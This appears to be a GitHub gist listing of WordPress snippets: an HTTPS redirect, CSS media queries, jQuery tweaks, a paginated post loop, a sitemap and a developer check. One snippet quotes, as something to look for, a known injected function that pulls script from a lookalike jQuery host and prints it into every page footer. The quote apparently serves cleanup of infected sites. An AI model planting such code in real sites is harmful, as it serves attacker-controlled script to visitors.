This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Redirect HTTP to HTTPS | |
RewriteCond %{HTTPS} !=on | |
RewriteRule (.*) https://%{SERVER_NAME}/$1 [R,L] | |
# BEGIN WordPress | |
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] | |
RewriteCond %{REQUEST_FILENAME} !-f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Smaller than standard 960 (devices and browsers) */ | |
@media (max-width: 959px) {} | |
/* Tablet Portrait size to standard 960 (devices and browsers) */ | |
@media (min-width: 768px) and (max-width: 959px) {} | |
/* All Mobile Sizes (devices and browser) */ | |
@media (max-width: 767px) {} | |
/* Mobile Landscape Size to Tablet Portrait (devices and browsers) */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// remove jquery migrate | |
add_filter( 'wp_default_scripts', 'dequeue_jquery_migrate' ); | |
function dequeue_jquery_migrate( &$scripts){ | |
if(!is_admin()){ | |
$scripts->remove( 'jquery'); | |
$scripts->add( 'jquery', false, array( 'jquery-core' ), '1.10.2' ); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1><?php the_title(); ?></h1> | |
<?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1; | |
$query = new WP_Query( array('posts_per_page' => 5, 'paged' => $paged, 'orderby'=>'date','order'=>'DESC') ); | |
while ( $query->have_posts() ) : $query->the_post(); | |
$hasPostThumb = ''; | |
if (has_post_thumbnail()){ | |
$hasPostThumb = true; | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* start langind page banner offers */ | |
@media (min-width: 790px) { | |
.page-sec1 { | |
margin-top: 35px; | |
} | |
} | |
.page-sec1 { | |
float:left; | |
width:100%; | |
box-sizing: content-box; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Look for something like this | |
if(!function_exists('wp_func_jquery')) { | |
function wp_func_jquery() { | |
$host = 'http://'; | |
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js'))); | |
} | |
add_action('wp_footer', 'wp_func_jquery'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.image-container { | |
height: 200px; /* can be whatever */ | |
} | |
.image-container:before { | |
content: ' '; | |
display: inline-block; | |
vertical-align: middle; | |
height: 100%; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Replaces the excerpt "Read More" text by a link | |
function new_excerpt_more($more) { | |
global $post; | |
return '... <a class="read-more-link" href="'. get_permalink($post->ID) . '">Read More</a>'; | |
} | |
add_filter('excerpt_more', 'new_excerpt_more'); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="html-sitemap"> | |
<h2>Author(s):</h2> | |
<ul class="sitemap-authors"> | |
<?php | |
//http://codex.wordpress.org/Function_Reference/wp_list_authors | |
wp_list_authors('exclude_admin=1&optioncount=1'); | |
?> | |
</ul> | |
<h2>Pages:</h2> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// for development | |
$developmentMode = false; | |
$userLoggedIn = is_user_logged_in(); | |
$currentUser = wp_get_current_user(); | |
if (($currentUser->user_login == "lfico") && $userLoggedIn) { | |
$developmentMode = true; | |
} |